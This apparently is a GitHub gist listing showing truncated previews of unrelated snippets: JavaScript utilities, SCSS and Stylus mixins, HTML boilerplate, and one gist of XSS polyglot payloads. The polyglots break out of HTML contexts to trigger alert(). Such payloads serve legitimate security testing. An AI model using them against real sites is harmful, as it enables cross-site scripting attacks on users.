Headings from h1
through h6
are constructed with a #
for each level:
# h1 Heading
## h2 Heading
### h3 Heading
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="UTF-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<style> | |
.popup { | |
display: none; |
// 二分找下限 | |
function lower_bound(nums, target) { | |
let lo = 0, hi = nums.length; | |
while (lo < hi) { | |
const mid = lo + Math.floor((hi - lo) / 2); | |
if (nums[mid] >= target) { | |
hi = mid; | |
} else { |
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> | |
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> | |
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> | |
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` | |
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">` | |
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script> | |
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script> | |
javascript:`</template>\"///"//< |
class Vector { | |
constructor (x = 0, y = 0) { | |
this.x = x | |
this.y = y | |
} | |
static add (vector1, vector2) { | |
return new Vector ( | |
vector1.x + vector2.x, | |
vector1.y + vector2.y | |
) |
function dateFormat (date, fmt) { | |
if (!(date instanceof Date)) { | |
date = new Date(date) | |
} | |
if (isNaN(date.getTime())) { | |
return '??' | |
} | |
var o = { | |
'M+': date.getMonth() + 1, | |
'D+': date.getDate(), |
function mapValues(obj, fn) { | |
return Object.keys(obj).reduce((result, key) => { | |
result[key] = fn(obj[key], key); | |
return result; | |
}, {}); | |
} | |
function pick(obj, fn) { | |
return Object.keys(obj).reduce((result, key) => { | |
if (fn(obj[key])) { |
@mixin for-size($size) { | |
@if $size == phone-only { | |
@media (max-width: 599px) { @content; } | |
} @else if $size == tablet-portrait-up { | |
@media (min-width: 600px) { @content; } | |
} @else if $size == tablet-landscape-up { | |
@media (min-width: 900px) { @content; } | |
} @else if $size == desktop-up { | |
@media (min-width: 1200px) { @content; } |
/** | |
* An arrow mixin for Stylus, based on @shojberg's "cssarrowplease.com" | |
* @param {Position} position | |
* @param {size, color} arrow | |
* @param {size, color} border (optional) | |
*/ | |
arrow(position, arrow, border = 0 white) | |
// Resolve arguments | |
$arrowSize = arrow[0] | |
$arrowColor = arrow[1] |
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"> |